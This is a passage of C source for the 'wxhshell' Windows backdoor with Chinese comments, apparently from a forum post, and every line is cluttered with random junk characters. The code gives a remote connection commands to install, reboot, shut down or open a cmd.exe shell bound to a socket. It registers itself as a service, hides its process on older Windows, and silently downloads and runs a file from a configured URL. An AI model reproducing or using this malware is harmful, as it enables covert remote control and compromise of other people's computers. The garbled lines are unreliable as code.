    switch(cmd[0]) { V72?E%d0  
  #2*R0_b  
  // 帮助 \z@ :OR,  
  case '?': { Wrm3U/>e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :hf%6N='kI  
    break; x97L>>|  
  } ?cK67|%W  
  // 安装 x.I?)x!C'  
  case 'i': { @RdNAP_6  
    if(Install()) {"N:2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j97K\]tQ  
    else yZmeke)_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4~vn%O6n  
    break; %Go/\g   
    } ],zp~yVU&  
  // 卸载 Q} -YD.bx3  
  case 'r': { TTo?BVBK  
    if(Uninstall())  {yxLL-5c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O_DT7;g  
    else m_;XhO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 16~5;u  
    break; >@Na6BH5v  
    } W:8{}Iu<  
  // 显示 wxhshell 所在路径 (r1"!~d@  
  case 'p': { SEM- t   
    char svExeFile[MAX_PATH]; zP$"6~.  
    strcpy(svExeFile,"\n\r"); vXak5iq>X  
      strcat(svExeFile,ExeFile); {s2eOL5I|%  
        send(wsh,svExeFile,strlen(svExeFile),0); I3ugBLxVC3  
    break; ki ?V eFp  
    } !|J2o8g  
  // 重启 raMtTL+  
  case 'b': { 4Le{|B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )~w bu2;  
    if(Boot(REBOOT)) sei%QE]!/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [E9_ZdB T  
    else { cNy*< Tv  
    closesocket(wsh); W$gjcsv  
    ExitThread(0); (|tR>R.Wxg  
    } sv!6z Js  
    break; [|C  
    } *M$$%G(4  
  // 关机 7e)j|a-!<  
  case 'd': { &~=d;llkT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~UwqQD1p  
    if(Boot(SHUTDOWN)) }fhGofN$e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BMn`t@!x  
    else { , LqfwA|  
    closesocket(wsh); y XCZs  
    ExitThread(0); L*{E-m/  
    } Yg;7TKy  
    break; s}4k^NGFJ  
    } $o ;48uV^  
  // 获取shell v\=k[oOu  
  case 's': { (J j'kW6G6  
    CmdShell(wsh); qM d4awB R  
    closesocket(wsh); @A-E  
    ExitThread(0); Saks~m7,  
    break; C&.Q|S2_  
  }  Q 6r  
  // 退出 2FN#63  
  case 'x': {  {C%f~j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TO/SiOd  
    CloseIt(wsh); @Fb 2c0?Y  
    break;  ]C-a[  
    } -_>E8PhM  
  // 离开 tYhNr  
  case 'q': { fDChq[LAn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T>5N$i  
    closesocket(wsh); Et&PzDvU  
    WSACleanup(); Ol8Yf.e_  
    exit(1); LiEDTXRz  
    break; W;F=7[h  
        } J2!)%mF$  
  } c <X( S  
  } =vb'T  
y*-D  
  // 提示信息 )jw!, "_4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yM?jiy  
} \?$kpV  
  } c:-n0m'i  
V~QOl=`K:  
  return; L,sXJ23.  
} 6 _#CvQ  
z'Ut9u  
// shell模块句柄 #*+$o<Q]9  
int CmdShell(SOCKET sock) 1L4v X  
{ KP gzB^>  
STARTUPINFO si; jf=90eJc  
ZeroMemory(&si,sizeof(si)); sGGi7 %  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cu4|!s`#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3nx*M=  
PROCESS_INFORMATION ProcessInfo; R`%O=S*]  
char cmdline[]="cmd"; 0BP=SCi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Co:Rg@i(F  
  return 0; PWS5s^WM  
} Aj"fkY|Q  
lt{"N'Gw6  
// 自身启动模式 @:P:`Zk  
int StartFromService(void) ~mT([V  
{ dF+:9iiAm  
typedef struct "iuNYM5 P  
{ HQc^ybX5  
  DWORD ExitStatus; v2vtkYQN  
  DWORD PebBaseAddress; )yS S2  
  DWORD AffinityMask; L#MMNc+  
  DWORD BasePriority; I5W#8g!{  
  ULONG UniqueProcessId; i(S}gH4*o  
  ULONG InheritedFromUniqueProcessId; |1m2h]];Q  
}   PROCESS_BASIC_INFORMATION; 3Io7!:+  
xp]_>WGq  
PROCNTQSIP NtQueryInformationProcess; B~u`bn,iQ  
jjg[v""3|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "X-"uIc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4z^VwKH\j  
&C6*"JZ4  
  HANDLE             hProcess; S|_"~Nd=  
  PROCESS_BASIC_INFORMATION pbi; e @|uG%  
-D wO*f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ots]y  
  if(NULL == hInst ) return 0; S\6.vw!'  
\WM"VT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +VO(6Jn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F2',3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H|<Zm:.%$  
h:r:qk  
  if (!NtQueryInformationProcess) return 0; f|{&Y2h(R  
awOH50R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b25C[C5C  
  if(!hProcess) return 0; UQJ  
3moDu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o#V{mm,{Pm  
Gi,4PD-ro  
  CloseHandle(hProcess); DxG8`}+  
<p#+('N`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3:3>k8  
if(hProcess==NULL) return 0; $6/CTQ  
W>E|Iv[o  
HMODULE hMod; *;~i\M9_  
char procName[255]; 3d(:Y6D)  
unsigned long cbNeeded; KOhIk*AC '  
?rQIUP{D7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Gh*Vtd8-  
+3r4GEa Z  
  CloseHandle(hProcess); +w(B9rH  
6f;20dn 6  
if(strstr(procName,"services")) return 1; // 以服务启动 Pq3|O Z  
evz@c)8  
  return 0; // 注册表启动 +{s -Fg  
} w*gG1BV  
XK/bE35%^!  
// 主模块 b4>1UZGW-  
int StartWxhshell(LPSTR lpCmdLine) Url8&.pw  
{ *^p^tK  
  SOCKET wsl; GNoUn7Y  
BOOL val=TRUE; u X+ YH  
  int port=0; 8]l(D  
  struct sockaddr_in door; \s,~|0_V  
v=E(U4v9e  
  if(wscfg.ws_autoins) Install(); 7K /quJ  
c{})Z=  
port=atoi(lpCmdLine); F;Bq[V)R  
S H6T\}X:  
if(port<=0) port=wscfg.ws_port; i: VMC NH  
VB}^&{t)!  
  WSADATA data; `4a9<bG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v}Kj+9h  
\y+@mJWa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X`fer%`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6~a4-5;>z  
  door.sin_family = AF_INET; Pr#uV3\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }EN-WDJD\  
  door.sin_port = htons(port); W]M Fq5.  
Eb9n6Fg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1 ( rN  
closesocket(wsl); $[+)N ~  
return 1; 3NN )ql  
} sQLjb8!7  
/q?g py  
  if(listen(wsl,2) == INVALID_SOCKET) { 1 abQoe  
closesocket(wsl); B$_-1^L e  
return 1; !qug^F  
} \?"kT}..  
  Wxhshell(wsl); N)  
  WSACleanup(); y`J8hawp  
a[NR%Xq  
return 0; z#/"5 l   
mD;ioaE  
} !u|s8tN.U  
P$6 Pe>3  
// 以NT服务方式启动 !Mj28  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3% O[W  
{ Fq'Ds[wd5  
DWORD   status = 0; oh,29Gg  
  DWORD   specificError = 0xfffffff; FA}y"I'W  
;.3 {}.Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9~4@AGL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QNGp+xUHJ9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kp^q}iS  
  serviceStatus.dwWin32ExitCode     = 0; 7 /XfPF  
  serviceStatus.dwServiceSpecificExitCode = 0; \qtdbi|Y  
  serviceStatus.dwCheckPoint       = 0; !>EK %OO  
  serviceStatus.dwWaitHint       = 0; jm,cVo  
Jj~|2Zt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .a9f)^  
  if (hServiceStatusHandle==0) return; N@V:nCl  
LU+}iA)  
status = GetLastError(); Q 6dqFnz  
  if (status!=NO_ERROR) pg{cZ1/  
{ NF'<8{~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _Oy;:XN  
    serviceStatus.dwCheckPoint       = 0; u0nIr9  
    serviceStatus.dwWaitHint       = 0; -v$ q8_$m"  
    serviceStatus.dwWin32ExitCode     = status; #hXxrN  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5.QY{ +k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XUTsW,WC  
    return; o&>aYlXd  
  } 06[HE7  
^m-w@0^z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #q6#nfi"  
  serviceStatus.dwCheckPoint       = 0; > O~   
  serviceStatus.dwWaitHint       = 0; lg*?w/JX+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hp}JKj@  
} -!IeP]n#P  
t)4] 2z)$  
// 处理NT服务事件,比如:启动、停止 |2Uw8M7.E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3e)$<e  
{ {2U3   
switch(fdwControl) )oy+-1dE  
{ bfI= =  
case SERVICE_CONTROL_STOP: >{>X.I~  
  serviceStatus.dwWin32ExitCode = 0; SZ~lCdWad  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ; KT/;I  
  serviceStatus.dwCheckPoint   = 0; )C0d*T0i  
  serviceStatus.dwWaitHint     = 0; J>1%* Tz  
  { O"J"H2}S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Op:$7hv  
  } Bv#?.0Ez;  
  return;  huvn_  
case SERVICE_CONTROL_PAUSE: 5E =!L g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &.P G2f*  
  break; RM>A9nv$\  
case SERVICE_CONTROL_CONTINUE: vK$wc~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aev(CY,z  
  break; ] U,m 1  
case SERVICE_CONTROL_INTERROGATE: -?NAA]P5c@  
  break; \s7/`  
}; /4KHf3Nr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &FWz7O>1  
}  '3xK1Am  
l YpoS  
// 标准应用程序主函数 Ru4M7 %  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) se*k56,  
{ >v )V2,P -  
< Df2  
// 获取操作系统版本 bZpx61h|  
OsIsNt=GetOsVer(); 8L5O5F'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,JfP$HJ  
{+V ]@sz  
  // 从命令行安装 3!`_Q%  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~ /rKKc  
nK#%Od{GF  
  // 下载执行文件 .9vt<<Kwh  
if(wscfg.ws_downexe) { G|TnvZ KX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JH*fxG  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8Z3:jSgk  
} 0S$TLbx  
?RS4oJz,5g  
if(!OsIsNt) { _}.WRFIJ@L  
// 如果时win9x,隐藏进程并且设置为注册表启动 p5l|qs  
HideProc(); #"fn;  
StartWxhshell(lpCmdLine); Ok<,_yh  
} j{6O:d6([$  
else -B#K}xL|x  
  if(StartFromService()) 1 ]ePU8  
  // 以服务方式启动 `> +:38  
  StartServiceCtrlDispatcher(DispatchTable); t :~,7  
else l[C_vUg  
  // 普通方式启动 TSVlZy~Xo  
  StartWxhshell(lpCmdLine); gH*(1*  
V=8npz   
return 0; rU|?3x  
}
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只看该作者 1 发表于: 2006-10-10
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